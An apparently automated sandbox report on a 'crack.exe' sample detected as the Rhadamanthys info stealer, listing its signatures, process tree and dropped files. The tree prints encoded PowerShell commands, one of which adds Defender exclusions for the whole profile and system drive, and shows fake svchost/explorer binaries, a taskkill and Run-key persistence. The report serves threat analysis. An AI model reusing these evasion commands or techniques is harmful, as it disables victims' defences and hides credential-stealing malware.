Analysis
- max time kernel
145s - max time network
131s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
26/05/2024, 00:42
General
- Target crack.exe
- Size 4.7MB
- Sample240526-a2skyahb33
- SHA256 a2dc757bc48509e7d64c24c84cd39f4ba90bec452a992f926f4c90535312e047
Malware Config
Signatures
- Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 5 IoCs
- Loads dropped DLL 14 IoCs
- UPX packed file 34 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Detects Pyinstaller 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Kills process with taskkill 1 IoCs
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 28 IoCs
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\SysWOW64\dialer.exe"C:\Windows\system32\dialer.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\crack.exe"C:\Users\Admin\AppData\Local\Temp\crack.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAdAB1ACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGkAZAB4ACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAHIAbwByACEAIABMAGkAYwBlAG4AcwBlACAAaABhAHMAIABlAHgAcABpAHIAZQBkAC4AIABDAG8AbgB0AGEAYwB0ACAAdQBzACAAdgBpAGEAIAB0AGUAbABlAGcAcgBhAG0AIABnAHIAbwB1AHAAIAB0AG8AIABwAHUAcgBjAGgAYQBzAGUAIAAvACAAZwBlAHQAIABmAHIAZQBlACAAdAByAGkAYQBsACAAdgBlAHIAcwBpAG8AbgAhACcALAAnACcALAAnAE8ASwAnACwAJwBFAHIAcgBvAHIAJwApADwAIwBwAG0AZAAjAD4A"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAdwBmACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAZQBnACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGEAdQB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAegBlACMAPgA="2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
C:\Users\Admin\AppData\Roaming\explorer.exe"C:\Users\Admin\AppData\Roaming\explorer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\explorer.exe"C:\Users\Admin\AppData\Roaming\explorer.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\activate.bat4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im "explorer.exe"5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\explorer.exe"explorer.exe"5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\explorer.exe"explorer.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"7⤵
-
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_socket.pyd
base_library.zip
libcrypto-1_1.dll
libffi-7.dll
python310.dll
select.pyd
unicodedata.pyd
__PSScriptPolicyTest_yb1ep4a3.3cj.ps1
svchost.exe
explorer.exe
activate.bat
memory/1800-115-0x00007FFAD6470000-0x00007FFAD6494000-memory.dmp
memory/1800-42-0x00007FFACF700000-0x00007FFACFB66000-memory.dmp
memory/1800-65-0x00007FFAD60F0000-0x00007FFAD6108000-memory.dmp
memory/1800-52-0x00007FFAD8360000-0x00007FFAD836F000-memory.dmp
memory/1800-51-0x00007FFAD6470000-0x00007FFAD6494000-memory.dmp
memory/1800-66-0x00007FFAD4E10000-0x00007FFAD4E3C000-memory.dmp
memory/1800-114-0x00007FFACF700000-0x00007FFACFB66000-memory.dmp
memory/2000-162-0x00007FFAD6210000-0x00007FFAD621F000-memory.dmp
memory/2000-184-0x00007FFAD4F00000-0x00007FFAD4F24000-memory.dmp
memory/2000-228-0x00007FFACF700000-0x00007FFACFB66000-memory.dmp
memory/2000-221-0x00007FFACF700000-0x00007FFACFB66000-memory.dmp
memory/2000-172-0x00007FFAD94E0000-0x00007FFAD94ED000-memory.dmp
memory/2000-214-0x00007FFACF700000-0x00007FFACFB66000-memory.dmp
memory/2000-207-0x00007FFACF700000-0x00007FFACFB66000-memory.dmp
memory/2000-200-0x00007FFACF700000-0x00007FFACFB66000-memory.dmp
memory/2000-193-0x00007FFACF700000-0x00007FFACFB66000-memory.dmp
memory/2000-192-0x00007FFACF700000-0x00007FFACFB66000-memory.dmp
memory/2000-170-0x00007FFAD94F0000-0x00007FFAD9509000-memory.dmp
memory/2000-183-0x00007FFACF700000-0x00007FFACFB66000-memory.dmp
memory/2000-163-0x00007FFAD9540000-0x00007FFAD9558000-memory.dmp
memory/2000-171-0x00007FFAD9510000-0x00007FFAD953C000-memory.dmp
memory/2000-161-0x00007FFAD4F00000-0x00007FFAD4F24000-memory.dmp
memory/2000-139-0x00007FFACF700000-0x00007FFACFB66000-memory.dmp
memory/2300-146-0x00000000001A0000-0x00000000001A9000-memory.dmp
memory/2300-164-0x0000000002010000-0x0000000002410000-memory.dmp
memory/2300-169-0x00007FFADEF30000-0x00007FFADF125000-memory.dmp
memory/2300-174-0x0000000076840000-0x0000000076A55000-memory.dmp
memory/3284-108-0x0000000007270000-0x0000000007302000-memory.dmp
memory/3284-41-0x00000000052D0000-0x00000000058F8000-memory.dmp
memory/3284-39-0x0000000002AC0000-0x0000000002AF6000-memory.dmp
memory/3284-107-0x0000000008330000-0x00000000088D4000-memory.dmp
memory/3284-190-0x00000000739AE000-0x00000000739AF000-memory.dmp
memory/3284-93-0x0000000007700000-0x0000000007D7A000-memory.dmp
memory/3284-95-0x00000000065A0000-0x00000000065BA000-memory.dmp
memory/3284-38-0x00000000739AE000-0x00000000739AF000-memory.dmp
memory/4472-92-0x0000000006EF0000-0x0000000006F22000-memory.dmp
memory/4472-179-0x0000000007FA0000-0x0000000007FA8000-memory.dmp
memory/4472-68-0x0000000006180000-0x00000000061E6000-memory.dmp
memory/4472-141-0x0000000007F00000-0x0000000007F96000-memory.dmp
memory/4472-40-0x00000000739A0000-0x0000000074150000-memory.dmp
memory/4472-79-0x0000000006360000-0x00000000066B4000-memory.dmp
memory/4472-69-0x00000000061F0000-0x0000000006256000-memory.dmp
memory/4472-120-0x0000000005690000-0x000000000569A000-memory.dmp
memory/4472-91-0x00000000069C0000-0x0000000006A0C000-memory.dmp
memory/4472-175-0x0000000007E80000-0x0000000007E91000-memory.dmp
memory/4472-176-0x0000000007EC0000-0x0000000007ECE000-memory.dmp
memory/4472-177-0x0000000007ED0000-0x0000000007EE4000-memory.dmp
memory/4472-178-0x0000000007FC0000-0x0000000007FDA000-memory.dmp
memory/4472-90-0x0000000006930000-0x000000000694E000-memory.dmp
memory/4472-182-0x00000000739A0000-0x0000000074150000-memory.dmp
memory/4472-106-0x0000000006F50000-0x0000000006FF3000-memory.dmp
memory/4472-67-0x0000000005860000-0x0000000005882000-memory.dmp
memory/4472-94-0x00000000742D0000-0x000000007431C000-memory.dmp
memory/4472-105-0x0000000006ED0000-0x0000000006EEE000-memory.dmp
memory/4788-166-0x0000000000E00000-0x0000000000E6D000-memory.dmp
memory/4788-144-0x0000000076840000-0x0000000076A55000-memory.dmp
memory/4788-140-0x0000000003A00000-0x0000000003E00000-memory.dmp
memory/4788-11-0x0000000000E00000-0x0000000000E6D000-memory.dmp
memory/4788-142-0x00007FFADEF30000-0x00007FFADF125000-memory.dmp
memory/4788-138-0x0000000003A00000-0x0000000003E00000-memory.dmp